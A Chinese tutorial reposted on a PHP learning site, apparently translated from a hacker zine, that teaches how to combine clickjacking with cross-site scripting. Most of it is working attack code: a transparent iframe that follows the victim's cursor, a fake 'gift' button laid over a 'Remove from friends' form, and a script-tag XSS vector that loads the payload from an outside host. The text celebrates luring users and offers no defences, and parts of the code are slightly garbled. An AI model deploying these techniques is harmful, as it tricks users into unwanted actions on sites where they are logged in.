网站地图    收藏   

主页 > 后端 > 网站安全 >

Clickjacking和XSS结合的攻击艺术 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] -----[ 0x01: 简介]Clickjacking攻击来自一个最近发现的两个研究人员杰里格罗斯曼和罗伯特RSnake汉森。这是一个相当简单而有效的攻击。我们会迅速分析如何将两种不同的XSS和Clickjacking结合在...

-----[ 0x01: 简介]
Clickjacking攻击来自一个最近发现的两个研究人员杰里格罗斯曼和罗伯特“RSnake”汉森。这是一个相当简单而有效的攻击。
我们会迅速分析如何将两种不同的XSS和Clickjacking结合在一起使攻击更有效。
----------------------------------------------------------------------------------------------------------------------------------
 
 
-----[ 0x02: JavaScript 永远爱我们]
当然,我们将使用一些JavaScript代码以完成我们的攻击计划,特别是要尝试两种不同的方法:
- 0x02a = 制造一个下列的IFRAME,该用户将被迫点击一下;
 
- 0x02b = 创建一些专用的HTML代码来覆盖掉一些其他的网页内。
----------------------------------------------------------------------------------------------------------------------------------
 
 
------[ 0x02a: 光标跟踪]
第一个Clickjacking攻击,我们要准备将被命名为“Cursor tracking”:我们将使用JavaScript建立一个陷阱IFRAME。
 
现在开始编写代码,将部署Clickjacking攻击:我们所要做的就是让用户点击一个特定的按钮或链接,将迫使他作出一些动作,在网站中将装载精心设计过隐藏的IFRAME。
 
首先准备IFRAME代码,我们将要载入按钮点击:
  
    <iframe id="victim" src="http://target.com/page.php" scrolling="no"
    style="opacity: 0;position: absolute;left: 10;bottom: 10;"
    width="500px;"></iframe>
 
在这个简单的IFRAME声明,我们必须确保关闭“scrolling”功能,并设置“opacity”属性为0,以构造成网页隐藏的牺牲品。页面内部IFRAME的位置依赖于哪个用户应该点击,你可能会想固定它使用:
 
    margin-top: X;
    margin-left: X;
 
利用负值,你会得到的页面越来越多居中到IFRAME。
 
下一步是准备一个JavaScript函数,使我们将代码注入到IFRAME跟踪用户光标所在网页,并且我们可以如愿以偿。以下内容是使用的事件句柄。
 
    function getPosition(e) {
        e = e || window.event;
        var cursor = {x:0, y:0};
            if (e.pageX || e.pageY) {
            cursor.x = e.pageX;
            cursor.y = e.pageY;
        } else {
            var de = document.documentElement;
            var b = document.body;
            cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) - /
            (de.clientLeft || 0);
            cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -      /
            (de.clientTop || 0);
        }
      
        return cursor;
    }
 
此函数检索用户的光标所在网页每次获得调用的X和Y坐标。
 
    function clickjacking(e) {
        var loadFrame = document.getElementByIdx("victim");
        var curPos = getPosition(e);
        loadFrame.setAttribute('style','opacity:0;position:absolute;top:'/
        + (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
    }
 
同样,这一项装载IFRAME,调用以前的“getPosition”函数和改变属性加载IFRAME中的新坐标,检索光标跟踪的函数。
 
    window.captureEvents(Event.MOUSEMOVE);
    window.onmousemove=clickjacking;
 
这将调用MouseMove事件处理程序,使“clickjacking”功能调用每个用户光标移动中的网页。正如我们现在的JavaScript代码,我们创建的IFRAME作出如下受害者的光标所在的网页,并迫使他点击特定的按钮。
 
现在让我们的JavaScript输出到IFRAME之内的HTML代码document.write:
 
document.write("<iframe id=\"victim\" src=\"http://target.com/page.php\"
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"
width=\"500px;\"></iframe>");
 
这样的IFRAME代码将被输出到脆弱的网页上,我们要尽快包含我们的XSS攻击媒介。
 
我们的JavaScript代码如下所示:
 
<!-- clickjacking.js -->
function getPosition(e) {
    e = e || window.event;
    var cursor = {x:0, y:0};
 
    if (e.pageX || e.pageY) {
        cursor.x = e.pageX;
        cursor.y = e.pageY;
    } else {
        var de = document.documentElement;
        var b = document.body;
        cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -  /
        (de.clientLeft || 0);
        cursor.y = e.clientY + (de.scrollTop || b.scrollTop) -    /
        (de.clientTop || 0);
    }
  
    return cursor;
}
 
function clickjacking(e) {
    var loadFrame = document.getElementByIdx("victim");
    var curPos = getPosition(e);
    loadFrame.setAttribute('style','opacity:0;position:absolute;top:' +  /
    (curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}
 
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=clickjacking;
 
document.write("<iframe id=\"victim\" src=\"http:// www.2cto.com /page.php\"  /
scrolling=\"no\" style=\"opacity: 0;position: absolute;left: 10;bottom: 10;\"  /
width=\"500px;\"></iframe>");
----------------------------------------------------------------------------------------------------------------------------------
 
 
------[ 0x02b: 图形覆盖]
另一种方法是创建一些HTML代码注入其中的网页图形部分,将替换成假的,并邀请用户点击它。
 
例如,我们的受害者访问一个网站,其中有一个代码,允许他删除他的朋友:
 
    <form method="POST" name="friends" action="remove.php">
        <div>Xiao Ming</div>
        <input type="hidden" name="friendid" value="123456" />
        <input type="submit" value="Remove from friends" />
    </form>
 
我们要迫使用户删除“Xiao Ming”,我们最终精心制作的JavaScript代码如下所示:
 
<!-- clickjacking.js -->
function bonus() {
    document.friends.submit();
}
document.write("<div style=\"position:absolute;top:Ypx;left:Xpx;\"><input  /
type=button value=\"Your friend sent you a gift, get it!\" onClick=\"javascript:bonus()\" /
/></div>");
 
这将创建了一个按钮,将覆盖X和Y坐标,而这正是覆盖“Remove from friends”按钮,使它隐蔽地给了用户。
 
这仅仅是一个例子,说明了可用于覆盖技术,另一个可取代原来的登录表单并定位在网页的TOP和LEFT style属性。
----------------------------------------------------------------------------------------------------------------------------------
 
 
-----[ 0x03: XSS 完成!]
假设一个相同的网页我们的受害者是用来访问()很容易受到跨站脚本,我们可以注入我们的JavaScript代码进行伪造,以便部署我们的XSS-Clickjacking,受害者几乎必会落入。
 
<script src=http:// www.2cto.com /clickjacking.js></script>
 
这是我们的XSS载体,我们应该使用JavaScript代码执行过受害者的浏览器:注入可以做到,因为我们已经看到,通过一个URL的GET参数或使用者输入表单。
 
“显然,一个XSS漏洞需要一些以前的蔓延,为了让受害者发现制作的恶意链接,他应该会得到想要的东西。”
----------------------------------------------------------------------------------------------------------------------------------
 
 
-----[ 0x04: 尾声]
该Clickjacking是一个非常有趣的攻击技术,获取更好的跨站脚本安全漏洞。
 
在这个攻击中最有趣事情的是,留下大量的空间让攻击者发挥自己的创造力,让他更好的表达出引诱网络用户的崇高艺术。
 
如果有可能的话,您创建了一个新的或更智能的攻击方法,可以邀请我一起共享--> Hack01[at]Live{dot}cn
 
# The HacKeR NetSpy [czy]
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论